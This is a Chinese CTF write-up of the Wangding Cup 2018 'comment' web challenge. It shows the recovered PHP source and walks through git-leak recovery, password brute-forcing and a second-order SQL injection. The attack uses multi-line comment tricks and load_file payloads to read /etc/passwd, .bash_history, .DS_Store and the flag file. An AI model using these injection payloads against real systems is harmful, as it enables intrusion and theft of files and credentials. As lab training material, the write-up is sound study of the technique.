网鼎杯第四场comment个人笔记

网鼎杯第四场comment个人笔记

0x00:题目确实好题目,学到不少东西

        题目:https://github.com/CTFTraining/wdb_2018_comment

        涉及git恢复 二次注入 sql注入读文件

        感觉蛮多坑容易踩的

        过程也看了网上其他大佬的wp,写完以后,自己来记录一下吧!

0x01:解题过程

首先扫了一下目录,然后f12看了一下控制台 发现

 呐 涉及git,那就git泄露差不多了,然后看还没commit

上大佬的脚本,githacker一下,然后得到一个不完整的php文件,再进行恢复(详见博客https://www.cnblogs.com/Tkitn/p/11648456.html)

然后得到完整源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

呐 源码很简单,很明显是二次注入,category第二次提取出来的时候没有进行过滤就直接放到sql语句了

ok 来看题目。

 发帖后302到这个登录页面,爆破得知密码是zhangwei666

登录以后,进行发帖。开始构造payload

$sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";

这里也是一个坑,就是sql语句是换行的,#进行注释只能注释当前行,所以我们这里用/**/进行拼接注释。

 构造6的payload,然后再在评论里 */#

则 拼接后的sql语句就是这样

$sql = "insert into comment
            set category = '123',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

这里

/*',
                content = '*/#',

被注释了,语句仍然是正常的sql语句。

提交成功则是这样

 然后开始读文件 找flag

这里学习了一下其他师傅的思路,很棒

看history文件

首先常规的读文件payload:123',content=(select( load_file('/etc/passwd'))),/*

看到www用户的目录:

 然后读history文件:/home/www/.bash_history

 在/tmp/html下有个.DS_Store文件

查看他

 发现长度不够,那咱们hex编码显示

payload: ', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

网上随便找个在线解码得到文件完整内容,发现文件名!flag_8946e1ff1ee3e40f.php。不过这个文件是从/var/www/html目录中copy过来的,我们回到/var/www/html中读取flag。不过发现并没有读取成功。想了一下,可能是因为文件过大。继续用hex编码,成功得到flag。 payload:', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*